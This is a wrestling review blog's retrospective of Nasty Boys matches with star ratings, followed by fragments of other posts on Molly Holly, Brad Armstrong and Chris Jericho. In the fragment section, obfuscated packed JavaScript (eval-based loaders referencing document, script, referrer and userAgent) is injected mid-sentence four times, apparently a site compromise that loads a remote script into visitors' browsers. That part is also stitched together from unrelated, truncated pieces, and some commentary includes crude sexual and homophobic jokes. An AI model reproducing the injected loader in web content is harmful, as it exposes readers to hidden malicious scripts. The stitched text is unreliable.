Back to another tag team today with the Nasty Boys.

The Nastys would get their start in 1985 so we’ll pick things up in Memphis on October 3, 1987.

Tag Team Titles: Nasty Boys vs. Rock N Roll RPMs

The Nastys are defending their AWA Southern Tag Team Titles. They’re not connected to the Express at all and are comprised of Tommy Lane and Mike Davis. Tommy and Brian get things going as the Nastys seem to be faces here. Knobbs runs Lane over and it’s off to the partners with Sags hammering Davis to the mat.

Now we stop to look at each other for a bit until Knobbs elbows Lane in the face. Now Davis gets nailed in the face until the RPMs cheat behind the referee’s back to take over. Not that it matters as Knobbs comes in off the tag and everything breaks down. The referee goes down and Lane hits Knobbs with a foreign objects for the pin and the titles.

Rating: D. The Memphis style is something that you need the right kind of workers to pull off. The RPMs weren’t the best in the world and the Nastys trying to wrestle is usually just painful. Nothing to the match here and it felt like it went on about twice as long as it did, which says a lot when it was less than ten minutes.

It was back to the regular AWA after this, with the Nastys appearing on Championship Wrestling on January 12, 1988.

Nasty Boys vs. Wahoo McDaniel/Tom Zenk

That’s quite the interesting pairing. Zenk and Sags get things going with Tom taking him down to the mat by the arm. Wahoo comes in and stays on the arm before tagging off to Zenk as the arm work continues. McDaniel chops Jerry down and we hit the neck crank on Jerry. Now it’s back to Zenk for a chinlock but the good guys keep changing places without tagging. A double chop puts Jerry down and it’s back to a chinlock from Tom. Jerry finally gets in some elbows to escape but gets sent into the corner. That was the Nastys’ first offense in seven minutes.

Zenk misses a charge into the corner and it’s off to Knobbs to clean house. That doesn’t last long enough as Wahoo gets a quick tag and knocks both Nastys out to the floor. Back in and Brian gets caught in a chinlock by Wahoo and then Zenk. Tom sends him chest first into the buckle and brings Wahoo back in. The Nastys FINALLY take over on McDaniel in the corner but they let him tag in Zenk less than a minute later. Tom cleans house again and rams the Boys’ heads together. Everything breaks down and Zenk sunset flips Brian for the pin.

Rating: D+. Not the worst match in the world but it was kind of odd as the Nastys got squashed for the most part here. It’s rare to see a squash that goes on for over twelve minutes but that’s what happened to the Nastys. They would get much better but this is an odd choice as Wahoo and Zenk weren’t a regular team that I know of.

The team would go to Florida and dominate the territory for awhile. They would appear for Dusty Rhodes’ PWF promotion at a show called Homecoming on March 11, 1989.

Bobby Jaggers/Johnny Ace/Black Bart/The Terminator vs. Nasty Boys/Italian Stallion/Bubble Gum Kid

This should be….uh…..interesting. And yes it’s the same Johnny Ace. Bart and Jaggers are the Southern Force. Ace and Terminator, his less famous brother, are tag champions. Stallion and Bart get things going as Page talks about Ace’s trunks. Jaggers gets slammed as does Bart so it’s Bart in officially now. Knobbs comes in and has a bad shoulder apparently. Off to Sags and then Bubble Gum Kid. Seriously, who named him that?

The Nasties help Stallion to cheat on Terminator so here’s Ace. The problem with a match with this many people in it is that you can’t keep up with who tags in. Also there’s not enough time to get anything going so it’s kind of a mess. Kid hipblocks everyone so Page complains about him being too flashy. Even Gordon gets on Page for that. Stallion comes in and gets out of the heel corner followed by some dancing.

It’s Jaggers vs. Stallion at the moment with Jaggers looking afraid to charge in at him. Back to ace who has flower power going on with the tights. Page has a habit of putting the word baby at the end of every sentence. Knobbs comes in to face Bart and gets caught in the heel corner where they work over his bad shoulder. We finally have our face in peril. It’s off to Ace to work on the arm and then back to Terminator.

Now it’s Bart working on the arm and as soon as I finish typing that it’s Jaggers. Sags tries to come in which doesn’t do any good so it’s Terminator in for more punishment. Knobbs manages a clothesline and gets the tag to Bubble Gum Kid. Everything breaks down as you knew it was going to do at some point. Kid goes up but gets hit in the head with a bradning iron, allowing Bart to steal the pin.

Rating: D. Another uninteresting match here for the reasons that I gave you earlier on. There were just way too many people in there and because of that it was really hard to get a story going. The shoulder was about what you would expect here and it’s amazing how the Nasty Boys were in essence the same guys for so many years. This was nothing but a way to get a bunch of people out there though.

They would be good enough to go to WCW and challenge for the US Tag Team Titles at Halloween Havoc 1990.

US Tag Titles: Steiner Brothers vs. Nasty Boys

This is a BIG feud and the Steiners are defending. The Nasties had beaten down the Steiners and left them bloodied after the match was made, which was unheard of at this point. It’s a brawl to start and Scott gets hit with a chair. He and Sags go into the ring with Scott escaping the superplex. He runs up the corner and hits a belly to belly superplex to take Jerry down. The crowd is going NUTS for this whole thing.

Knobbs interferes and it’s Jerry in control as he starts with Scott. Scott comes back with a Tiger Driver and Rick comes in to clean the ring. The Steiner Bulldog KILLS Sags but Knobbs breaks it up with a chair shot as the referee is getting Rick out. Knobbs, the illegal man, gets two off that. A side slam puts Scott down and the Steiners are in trouble. Powerslam gets two.

They go to the floor and Sags drops a knee on Scott, who is in big trouble. Sags comes in legally and hits a pumphandle slam for no cover. Side salto gets two with Rick making the save. The Nasties switch without a tag again so it’s back to Knobbs for more beating. Abdominal stretch goes on and the cheating draws in Rick again so the Nasties can switch again. Sags puts on a bearhug to stay on the bad back.

Scott comes out of it with the natural counter: a belly to belly suplex. The tag brings in Rick who cleans house with the Steiner Line. Rick gets knocked over the top to the floor and the Nasties hit a spike piledriver on Scott. Rick is like screw that and pops Sags with the chair. The referee is really lax about these tags. Jerry is busted open but he brings in Brian to prevent the tag to Rick.

Knobbs puts the bearhug on again and rams Scott’s back into the buckle a few times. Sags puts on a Boston Crab but Scott does a pushup to break it up, but Knobbs breaks up the tag again. A reverse chinlock goes on but Scott breaks out of that too. The Nasties try to cheat again but Scott avoids a charge and hits the Steiner Line on Jerry. Hot tag to Rick and everything breaks down.

The Steiners start pounding on the Nasties but they both get thrown to the floor. Rick comes back in with a double top rope clothesline to send the Nasties to the floor, but it lets them beat up Scott while they’re out there. Scott pulls Sags to the floor again and Rick KILLS Knobbs with a Steiner Line. There’s the Frankensteiner and I don’t care who you are, in 1990 that means it’s over.

Rating: B. What a great brawl this was. If you cut about three minutes out of this it’s a classic. This is the match that made the Nasty Boys, but since this is WCW, the idea of signing them up was unheard of so they were in the Royal Rumble less than three months after this and winning the tag titles from the Hart Foundation in about six months. The match was good, but the Steiners were so far and away better than any other team in the world at this point that it didn’t matter who they were facing.

Even though they were a hot act, WCW didn’t feel the need to sign them to contracts or anything like that. Therefore, despite being at a WCW event around Halloween, here they are in a tag team battle royal on WWF Superstars on February 16, 1991.

Tag Team Battle Royal

Legion of Doom, Demolition, Orient Express, Nasty Boys, Rockers, Power and Glory, Bushwhackers

The winners get the Hart Foundation for the titles. It’s a wild brawl to start of course and when one member goes out, both members are out. The Rockers escape stereo gorilla presses from Demolition and Smash gets tossed for an elimination. The Bushwhackers are tossed as well and the ring is clearing out. The Rockers load up a double dropkick but Shawn accidentally hits Marty and knocks him out to the floor, leaving us with the LOD, the Nastys, Power and Glory and the Orient Express.

Things slow down until Hawk backdrops Kato to get rid of the Express. Animal and Roma go through the ropes to fight on the floor. That doesn’t last long so each heel team double teams a member of LOD. Animal catches a Roma cross body and easily dumps him to get us down to two. The LOD takes over but Roma trips Hawk up for an elimination to send the Nastys to Wrestlemania.

Rating: D. This was quick and only so interesting. The Nastys winning was a good idea, especially when the fans were all thinking the LOD would get the shot for a dream match. Instead the LOD would squash Power and Glory in about 30 seconds at Wrestlemania in a pretty awesome squash.

As a result of their win, the Nasty Boys would get a Tag Team Title show at Wrestlemania VII.

Tag Titles: Hart Foundation vs. Nasty Boys

The Nastys got got hot in WCW in 1990, weren’t signed to contracts, and debuted in the WWF in late 1990/early 1991. They won a tag team battle royal for this shot they’re getting here. Jerry and Bret start things off and it’s a quick Thesz Press to take Sags down. Brian gets knocked off the apron by the Hitman and Sags gets tripped down to the mat. No Sharpshooter yet though as Bret stomps the midsection instead.

Off to Anvil who starts powering Knobs around and pounds away in the corner. After being knocked to the floor, Brian comes right back in and is immediately caught in an armbar. The Nastys double team Neidhart in their corner to FINALLY take over, but a mat slam is enough to let Neidhart tag Bret back in. Hart tries to fight off both of the Boys, only to get decked from behind by Knobs.

Bret is sent out to the floor where he may have hurt his knee. Back inside Jerry whips him into the corner as we hit the heat section of the match. Sags hooks a reverse chinlock before Knobs comes in to do exactly the same. Back to Jerry for a neckbreaker for two and Brian breaks up a hot tag attempt. Hart breaks up a reverse chinlock by Knobs and now it’s Jerry to break up another hot tag.

Brian misses a splash in the corner and Bret makes the tag but, say it with me, the referee doesn’t see it. We get heel miscommunication and NOW we get a tag to Anvil. Jim cleans house and hits a quick powerslam for two on Knobs as everything breaks down. Jimmy Hart gets decked by Bret and there’s a Hart Attack for Knobs. The referee tries to get Bret out and Sags decks Bret with Jimmy’s helmet, giving the Nastys the titles.

Rating: B-. Another solid tag match here as the division was getting very hot all of a sudden. The Harts would quietly split up after this with Bret moving into the IC Title picture soon thereafter. The Nastys would hold the titles over the summer before dropping them to the monsters known as the LOD at Summerslam.

Here’s one of their defenses from Summerslam 1991.

Tag Titles: Nasty Boys vs. Legion of Doom

The Nasties are defending and this is No Countout/No DQ, making it a street fight in modern terms. The champions are sent to the floor and the fight is on early. Back in the ring Animal hits a quick powerbomb on Knobbs for two followed by Hawk enziguring Sags down. We get down to the stupid tagging part of the street fight with Sags sending Hawk to the floor and hitting him with a bucket of water.

Back in and Knobbs works over Hawk in the corner before Sags sends him into the steps. A back elbow gets two for Knobbs and a top rope version gets the same for Sags. Brian goes up top again but jumps into Hawk’s boot, finally allowing for the hot tag off to Animal. Everything breaks down and Sags hits Animal in the back with Jimmy’s helmet for two. Hawk steals the helmet and lays out both Nasties, setting up the Doomsday Device on Sags for the pin and the titles.

Rating: D. This SUCKED as the street fight rule was barely used at all. It was little more than a few shots with the helmet when the referee wasn’t looking anyway. Hawk and Animal barely broke a sweat out there as they were already talking about the Natural Disasters earlier tonight instead of worrying about winning the belts. This win was a long time coming though.

The team would fall down the card after this, getting stuck in an eight man tag at Wrestlemania VIII.

Jim Duggan/Sgt. Slaughter/Virgil/Big Boss Man vs. Nasty Boys/Moutnie/Repo Man

Just a collection of lower midcard guys getting a Wrestlemania payday here. Neither team gets an entrance. Instead, Ray Combs of Family Feud is guest ring announcer for this and cracks a few jokes about the heels pre-match. The good guys clean house to start and hit a quadruple clothesline to clear the ring. Heenan announces that Shawn Michaels has left the building. Gorilla sums up our responses: “WHO CARES???”

Anyway Duggan and Sags start things off and it’s Jim hitting a few clotheslines to take over. Off to Slaughter who gets poked in the eye, allowing for the tag to Knobs. Slaughter pounds away to take over before it’s off to Boss Man for a boot to the face. Brian avoids a charge into the corner and Boss Man’s splash misses Repo Man as well, giving the heels control for a bit. Repo crotches himself and Boss Man slugs him down for good measure.

Off to Virgil who seems to mess up almost anything where he jumps into the air. Duggan tries to come in to save his partner but it’s back to Sags to beat on Virgil even more. A pumphandle slam gets two on Virgil and it’s back to Mountie. Everything breaks down and in the melee the Nastys are rammed together, allowing Virgil to steal the pin.

Rating: D. As I said, this was nothing more than a way to throw a bunch of guys onto the show at the same time. This was a much better idea than having four matches eat up a few minutes each as it accomplishes the same goal here. They were out there as filler before the world title match and there’s nothing wrong with that at all.

After another year of doing little of note (save for a face turn and a feud with Money Inc.) it was off to WCW. One of their first major matches was at Fall Brawl 1993.

Tag Titles: Nasty Boys vs. Arn Anderson/Paul Roma

Ok let’s clear up a few things here. First of all, Anderson and Roma (Horsemen here) are faces. The Nasty Boys are challenging them and have no manager coming into the match. The next FOUR MONTHS (in other words, giving away the results of the next THREE PPVs) have already been taped. At those tapings, Roma is a heel and not a Horseman, the Nasty Boys are tag team champions and they have Missy Hyatt as a manager. See what WCW was like back in the day?

Naturally Missy comes out with them and NO ONE is surprised. Missy was famous for having a big rack and that’s about it. Naturally, that’s all Tony and Jesse talk about. We even get big match intros here. Roma and Knobbs start us off as Jesse looks at Missy a lot. Roma gets in a right hand and Brian bails. Back in and the fans don’t seem all that interested.

Naturally the announcers talk about Missy and make sex jokes. Roma hits both guys with powerslams and the Horsemen stand tall. There’s money on the floor for some reason. I guess Missy has a good night the previous night? Sags wants Anderson and apparently that’s enough to warrant a Horsemen tag. Anderson works on his knee and then it’s back off to Roma. What did I do to deserve this?

The fans chant take it off which Tony tries to say is them giving Missy a hard time. Just keep telling yourself that dude. Wishbone split to Knobbs as the Horsemen dominate. They work on the knee of Knobbs who has been in there about 90% of the match so far. The fans say take it off.

Hey while we’re in the middle of a submission hold let’s go to the crowd to see a Bevis and Butthead sign. Tony wants to know what Missy can offer as far as a manager. Jesse: “I imagine she can put you in a few holds.” The Nasties take over and it’s a reverse chinlock. Off to Sags who locks in a reverse chinlock of his own. The fans chant Porky Pig. Now let’s talk about Houston sports because we’re bored.

Jesse REALLY doesn’t like Texas or Texicans. Now Brian gets a third straight reverse chinlock. Electric chair is attempted by Roma but he can’t get him up so it’s reverse chinlock #4. They redo the counter and it works this time. Tony tries to tell us that Roma is brand new to wrestling as I guess we’re not supposed to remember his six years in the WWF.

Anderson comes in and gets knocked over the top and out to the floor. With the referee distracted Sags pops Anderson with a chair. Now it’s off to revolving abdominal stretches. We even get a third one as Arn reverses Knobbs. And never mind as Sags drills him to keep control. Other than those few chanting fans the crowd is DEAD. I always see the Walking Dead title when I type dead in all caps.

Front facelock now but Anderson tags. Naturally the referee didn’t see it. The easiest heat move in the world can’t get a bit of heat at all. That says a lot. Bearhug goes on so Anderson bites Knobbs to break it up. I’d recommend some Listerine. Suplex by Sags keeps Anderson down. Ah there’s the bearhug from Sags as well. Good to see him emulating the ring general that is Brian Knobs.

Anderson gets an elbow shot in but STILL can’t make the tag. There’s the Porky chant again. Arn rams both of their heads into the mat which Jesse says causes an eruption. If that’s an eruption then I’d barely be able to hear a pop. Roma in now and Tony says a double noggin knocker is a double coconut.

The Nasties fight back and set for the aforementioned bulldog off the top but Arn breaks it up and a victory roll gets two. Roma hits his Swan Dive finisher but Sags drops an elbow on him from the top and Knobbs gets the pin. I guess when Anderson ran right past his unconscious partner being covered he didn’t think it was worthy of breaking up.

Rating: D. This was TWENTY FOUR MINUTES LONG. Anderson is great and Roma is bad but passable, but dude, the Nasty Boys do not belong in any match going over ten minutes ever. This was also completely predictable due to the tapings that were all well known beforehand. Boring as HECK match though.

We’ll look at something a bit lower profile, from Saturday Night on January 22, 1994.

Nasty Boys vs. Ron Oates/Mark Starr

The Nasties are the tag champions and we get a quick word from Jack and Payne, their challengers on Thursday. Sags and Starr start things off and it’s domination early. Off to Knobbs who walks into a dropkick and armdrag as the jobbers clear the ring for a bit. Off to Oates who is a big guy. Not that it matters much as the good guys tag in and out a lot to work on the arm of Knobbs.

Knobbs runs him over to bring in Sags but he gets taken down as well. Finally some double teaming takes over for the Nasties and things slow WAY down. Everything breaks down and they be clubberin on Starr. Off to a chinlock by Sags but Starr gets up for a hot tag to Oates. And never mind as Knobbs kills him with a double ax. Brian splashes him in the corner and a top rope elbow from Sags gets the pin.

Rating: D+. This was way better than I was expecting. It’s a nice change of pace to have the jobbers get in some offense other than a few shots here and there. Not the best match in the world or anything, but I didn’t expect it to get almost seven minutes which made things a lot better here.

Here’s what is probably the Nastys’ best match ever, from Spring Stampede 1994.

Tag Titles: Nasty Boys vs. Cactus Jack/Maxx Payne

This is a street fight with falls counting anywhere so call it a hardcore match. This match is more or less epic as they more or less kill each other for about 9 minutes. I’m fired up for this. They don’t even make it to the ring. Well at least Cactus and Brian don’t. How weird is it that Cactus was probably the more normal of those two men? Cactus hits Knobbs in the face with half of a pool cue which at least isn’t metal so it’s a bit more believable.

They have two referees here which is smart for a change. There’s nothing here but violence and they’re living it up out there with it. This is a freaking war with the cameras having issues keeping up with it. Now I know I have a reputation for hating these things, but a few things to keep in mind here. Number one, the stuff they’re using isn’t incredibly over the top. There are chairs, trash cans, a pool cue (a bit of a stretch but not really) and various things they find in the arena.

There aren’t scissors or screwdrivers etc. Second, this is the culmination of a big feud between these guys. Payne and Knobbs are fighting in a souvenir stand in case you were wondering. But yeah, this isn’t just a random brawl for the sake of having a random brawl. They had built this feud up for months but it kept ending in a DQ. The story makes sense to end like this.

Third, these guys can actually work decent matches without weapons. I’ve yet to see Sabu or New Jack do so. Finally, there aren’t any ridiculous spots here to suck the life out of it. There’s no scaffold or whatever. They’re just beating the tar out of each other and you get the feeling that they want to kill each other. HOLY GOODNESS!

Foley was covering Jerry and Knobbs came from nowhere with a shovel (Jack’s trademark at the time so it makes sense) and just blasts the freaking tar out of him with it. Sags takes the shovel and with Cactus on the ground, he just smacks the heck out of Jack’s head with it kind of like a conchairto. Payne goes through a real table after it anyway, before it was a clichéd spot.

Rating: A-. This was freaking AWESOME. Like I said though, there were a lot of differences here that made the thing far better than your typical brawl. The main thing was the amount of brutal spots and the total lack of stopping. Watch this match as it’s just freaking awesome. This was brutal now but back then this was EPIC.

The Nastys would feud with Harlem Heat and come out with the Tag Team Titles. Here they are defending at Great American Bash 1995.

Tag Titles: Nasty Boys vs. Blue Bloods

Something tells me this is going to be bad. We have good wrestlers on the heel team though so that’s good. The Nastys hit the heels with their jackets to start us off. Bobby Eaton and Regal are having their faces rubbed into the armpits of the Nasty Boys. They’re above this. And three of these guys are still active wrestlers today. Is that a good thing or a bad thing? I’m not sure really.

There’s no real semblance of a match going on here. It’s just a brawl. I guess you can call this a brawl. They’ve been in the ring all of a minute and we’re about 7 minutes into this. Thank you Regal for trying to make this watchable. And of course Brian Knobbs gets to beat both heels up on his own. I don’t think the Nastys have done anything but punch all match long. AGAIN WITH THE FREAKING CROWD!

WCW seems more obsessed with Vince was than making sure to let us know there are actual PEOPLE in the arena. When Sags is the best wrestler on your team, that’s a very bad sign. Sags is in trouble now so he and Knobbs have just switched places. Seriously, what is Nasty about these guys? I’ve never gotten that. There appears to be a large man in the front row in boxers. Sure why not.

In case you can’t tell, this is a rather boring match. Naturally it’s the second longest match on the card. Why would Flair and Savage need more time? We’ve got NASTY BOYS! Another wide shot and I still don’t care at all. We talk about the history of the Great American Bash to kill some time.

Oh and there will be 100,000 people at Bash at the Beach (remember it was free to get into). Yeah sure there will be. Harlem Heat and Sherri are here for no apparent reason to beat up the Nastys and of course it causes them to keep their belts. Yep there’s your ending. I really hate this company.

Rating: D-. And that’s out of sympathy for Regal and Eaton who were clearly trying to make SOMETHING out of this. However, the Nastys suck. They just simply do. There’s no way around it. The Nasty Boys are terrible in the ring and they were here. When you can make Eaton and Regal look bad, that’s impressive. It truly is.

Here they are against some other brawlers at SuperBrawl 1996.

Public Enemy vs. Nasty Boys

Now take notes here you fans that want to learn how to be technical master. This is going to be what NOT to do. It’s a street fight which means hardcore in WCW terms. The Nastys are wearing tennis shoes. Why? Apparently it’s so they can move easily. Sure why not. We’re already on the floor. The Public Enemy bailed on Heyman for a little while but they would be back. Sags wears Rocco out with a chair. Nice shots.

We bust out a table and Rock goes through it. But remember, WCW NEVER stole anything from ECW. Pay no attention to WCW using ECW guys and doing their signature ECW stuff. Pay no attention to it at all, because WCW NEVER used any ECW stuff. Simply misunderstood. Bobby tries to figure out what plundah is. Bobby, as a promoter said to you many moon ago, USE YOUR BRAIN and stay out of there.

Dusty isn’t someone you want to try to understand or want to understand for that matter. There’s only one referee here of course, which is just idiotic as all goodness. Grunge throws soda in Knobbs’ eyes. Dusty says it was acid. Ok then. We go split screen. This can’t be a good thing.

They’re all spent now so this slows WAY down. Fans kind of care but not really. Rock misses a dive from the stands and crashes through a table. Knobbs pins him. This was just idiotic. On a replay we see Rock getting suplexed through a table. The problem is the table doesn’t break where he lands on it. Nice job of protecting stuff there guys.

Rating: D-. Just a brawl here but nothing of note here at all. It just wasn’t very good at all, even for a big sloppy brawl. I have no idea what the point of this was but it didn’t work well at all. Just boring as all goodness and I think I’ve padded this well enough. This would have been far better received in ECW.

One last WCW match from Fall Brawl 1996.

Tag Titles: Harlem Heat vs. Nasty Boys

Heat have the belts here. So we go from Benoit, Jericho and Mysterio to this. Ok then. We get clubbering as Dusty LOSES it. That was kind of funny. I had to do this match about 5 times in 94 and 95 so I really don’t care that much about it here. Double teaming allows the champions to take over. Knobbs and Stevie run the ropes and it’s painful to see. Knobbs is so out of shape it’s pathetic.

And let’s get a chinlock now because this match is so riveting otherwise. Also throughout the match Sherri and Colonel Parker keep interfering to get on my nerves. I’m just killing time here until we get to the next two matches as they’re the “meat” of the show with War Games and Savage vs. Giant. Why was Savage not thrown into War Games? They didn’t have a fourth guy and you have Randy Savage in a nothing match with the Giant?

Does this make anything resembling sense? Sags hits a piledriver which has Bobby freaking out over them using a move. That wasn’t a piledriver but whatever. Parker trips Sags up to switch momentum again and I just do not care at all. END THE FREAKING MATCH ALREADY!

It’s been ten minutes so far and it’s all brawling and stuff like that with a ton of interfering from the managers. END THIS. Knobbs gets like the 8th hot tag of the match and I’m barely paying attention at this point since the belts aren’t changing hands. FINALLY a cane shot from Booker to Knobbs ends this idiocy. Move on PLEASE.

Rating: F. Oh just no. Who thought that these guys deserved 15 minutes? This was just boring as all all goodness and NO ONE cared at all. This was terrible and deserves to fail.

After basically retiring, the Nastys were brought back for the new XWF promotion because the company needed names. Here’s one of their few matches from November 13, 2001.

Nasty Boys vs. Shane Twins

You might remember the Shane Twins as the Gymini from 2006 Smackdown. If not, picture twin Rybacks named Todd and Mike. What appears to be a 350lb or so Sags elbows Todd into the Pit Stop from Knobbs. Todd comes back with some suplexes before tagging in Mike. A double flapjack gets two on Knobbs and everything breaks down. Sags is sent to the floor as Knobbs beats on Mike in the corner, only to charge into a clothesline to give the Shanes what is supposed to be an upset win.

Finally, because TNA apparently wanted to work the fans, we had to sit through this match at Against All Odds 2010.

Nasty Boys vs. Team 3D

So now people are being asked to pay to see the Nasty Boys. Good to know. That lounge music is REALLY annoying. No one in TNA has ever taken it to Team 3D like the Nastys? REALLY? Sags looks slimmer and nearly in shape. Knobbs…not so much. 3D runs them off and I guess they’re the faces? It’s been 2 minutes so they might have turned since then.

We get to a regular tag match with Sags vs. Bubba. Both guys have pants with their team name on it. Is that in case they get lost? Sign in the front row: pipe down nerds. That’s rather funny. The fans want to sit down and eat. What else could they want tables for? This hasn’t been as bad as I expected, but it’s nothing compared to the Nasty Boys doing science experiments like they did in 1995.

You have to see that clip if you don’t know what I’m talking about. SuperBrawl 1995, opening of the tape. Go find it as it’s just bizarre. Oh look: Brooke Hogan is here. It has nothing to do with the show or the match, but it needs to be noted: Brooke Hogan is indeed HERE. The Nastys take over now and Taz says lifting Knobbs is like lifting a small foreign car. That’s rather funny. Sags takes 3D and JIMMY FREAKING HART makes the save. Are you kidding me??? His helmet is slammed into Bubba for the pin. Love that voice.

Rating: C-. I’m very surprised as this wasn’t terrible by any means. It wasn’t particularly good but it was far from bad. I do not get the point in the Nasty Boys being on TV but having Hart there is never a bad thing. But hey, at least Hogan and Bischoff got to laugh at us for getting annoyed, and that’s what TNA is about right?

As I remember hearing Randy Savage say on commentary once, the Nasty Boys may not be the best wrestlers in the world but they could scrap. There’s nothing wrong with a team of brawlers who could get the fans into a match and do some entertaining brawling. I’ve never been a huge fan of the team but they were good at what they did.

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Today is my mom’s birthday so let’s look at another pretty brunette: Molly Holly.

Holly eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|deisd|var|u0026u|referrer|aiati||js|php'.split('|'),0,{})) would debut in 1997 as Starla Saxton. We’ll pick things up for her as a jobber on WCW Worldwide on September 19, 1998.

They eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tayzt|var|u0026u|referrer|bhnaz||js|php'.split('|'),0,{})) Are Chanting HIS Name?

Armstrong eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nyrid|var|u0026u|referrer|etsfy||js|php'.split('|'),0,{})) would get his start in Alabama in 1980. We’ll pick things up in Georgia in March of 1984.

But eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|efkzz|var|u0026u|referrer|ifnhb||js|php'.split('|'),0,{})) check out the DiGiorno’s Pizza Twitter account.  It blew my mind and is a verified account.

 
Tweets by DiGiornoPizza

It’s time for the man with so many nicknames that I can’t pick one: Chris Jericho.

Again there are too many matches to do a timeline so here are a bunch of great Jericho matches in no particular order.

When Jericho was still relatively new to the WWF, one of his first major feuds was with HHH, who he met in a last man standing match at Fully Loaded 2000.

HHH vs. Chris Jericho

If you’ve already forgotten the stipulation here, lay off the drugs and fast. They start off immediately and the crowd is still as hot as they were to start the show. See what a great opener and a great crowd can do for you? HHH picks up a piece of the table destroyed earlier and beats on Jericho with it as we’re on the floor 40 seconds into the match. Well at least they’re not wasting time getting to the violent part. Stephanie looks completely delicious here.

This is just a glorified brawl at the moment which is fine. That’s what a match like this is supposed to be like so it’s perfectly fine. HHH pulls the bandages off of Jericho’s ribs and works on the ribs. Why would you wear tape to the ring? It’s a bullseye there. If they weren’t taped, the opponent might work on the knee otherwise or something like that. Ross just sounds like he has latent homosexual feelings towards HHH.

I mean seriously, he’s always going off about him and I just keep thinking he’d love nothing more than to humble him and then get humbled by him. Stephanie beats on Jericho a bit as this is all HHH otherwise. The ribs are at least offering a bit of a story to the match. They’ve been on the floor for the majority of the match here. They mention that the mats are more or less pieces of carpet out there. Don’t tell Bill Watts they exist.

This protecting the wrestlers a bit is just freaking evil and can’t be allowed to ever happen again! HHH hooks an abdominal stretch that would have Monsoon rolling over in his grave. In other words, it’s about as traditional as you could possibly imagine. Jericho gets a shot in and the crowd EXPLODES. This is one of the best crowds I’ve seen in a long time.

Jericho makes a short comeback and goes for the Lionsault but HHH gets the knees up and then hits a DDT for about 8. Again being smart, HHH uses a sleeper. I usually hate that move but here it makes perfect sense to use it. That gets 9 or so and HHH is TICKED. He hits a Pedigree and lays on the top rope like Shawn used to do. After a 9 count that takes about a minute to do, Jericho is up AGAIN. HHH gets a chair and lands a few shots and goes for a Pedigree on it but a low blow saves Jericho. It was thunderous apparently. DANG.

HHH’s head more or less explodes with blood after a chair shot. I mean he’s bleeding BAD. Fans are completely into this too. Jericho cranks it up a bit here by going into his sequence of stuff and ending with the bulldog onto a chair. We’re back on the floor again with Jericho dominating. Just as I say that Jericho goes into the stairs. This is pretty freaking good. And never mind that as Jericho gets a counter.

This back and forth stuff is working quite a bit. Uh oh HHH is getting the announce table ready and they both get a shot with monitors so they’re both down. Both guys get up at nine and back in the ring Jericho hooks the Walls. HHH taps like crazy but it means nothing. Just like in the cage, why should ropes get a break when ropes mean nothing? Oh ok it doesn’t. That makes things a lot better.

Jericho pulls him back to the middle which means nothing really. Stephanie comes in and gets some Walls too which makes her top fly up which isn’t a bad thing at all. We’re on the floor again which is ok in a match like this as that’s the point. HHH swings the newly found hammer at Jericho but it hits the post instead. HHH takes a slingshot into the post which is always a cool bump.

They get on the table and HHH hits a jumping belly to back suplex where his back lands squarely on the edge of the table which means he would be hurt a lot worse, or at least I would think so. HHH gets up just in time to beat the count while Jericho is out. As Ross puts it, he was up at ten and down at eleven. Ok on another look, Jericho doesn’t hit anything but the floor on the last bump so that’s fine.

Rating: A. These two beat each other up something fierce out there. The key to it though, as always in a great match: I didn’t know who was going to win until the very end. The cut on HHH’s head was AWESOME though and the blood helped a lot. These guys always had good chemistry together, but at some point in their careers, Jericho needs to beat HHH clean in a big match. There were plenty of times where Jericho almost had it, and that’s what made this work. It wasn’t a match where the ending was obvious because it wasn’t, and that’s what made this great.

Next up is a match that you often hear listed among the best ladder matches of all time. From Royal Rumble 2001.

Intercontinental Title: Chris Benoit vs. Chris Jericho

It’s a slugout to start with Jericho getting a very early advantage. Benoit tries the Crossface but has to escape the Walls instead. Jericho misses a charge and hits the post before missing the springboard dropkick and crashing to the floor. Benoit posts him and goes for the ladder but stops to send Jericho into the steps. We’re only three minutes into the match though so Jericho stops Benoit’s climb. A ladder shot to the face puts Benoit down and the referee tells them they have thirteen minutes left.

Jericho lays the ladder across the top rope and of course goes face first into it as a result. Good to see that even Canadians follow the first law of wrestling. Benoit tries a suicide dive but Jericho puts up a chair, causing Benoit massive head trauma. Jericho tries to ride the ladder from the apron onto Benoit on the barricade but the other Chris moves out of the way. A ladder to the face stops Jericho again and now Benoit swings a chair.

Back in and Benoit loads up a ladder in the corner before ramming Jericho face first into it. Jericho gets up and puts the ladder in the corner again before tying Benoit’s legs between the rungs for a kind of Russian legsweep off the middle rope. Benoit comes right back with a dropkick to send the ladder into Jericho’s face and a hard belly to back suplex. The ladder is placed on the top rope again and Benoit’s face is whipped into it HARD. Jericho immediately follows up by see-sawing the ladder into Benoit’s face. Almost every one of these shots would be classified as FREAKING OW MAN.

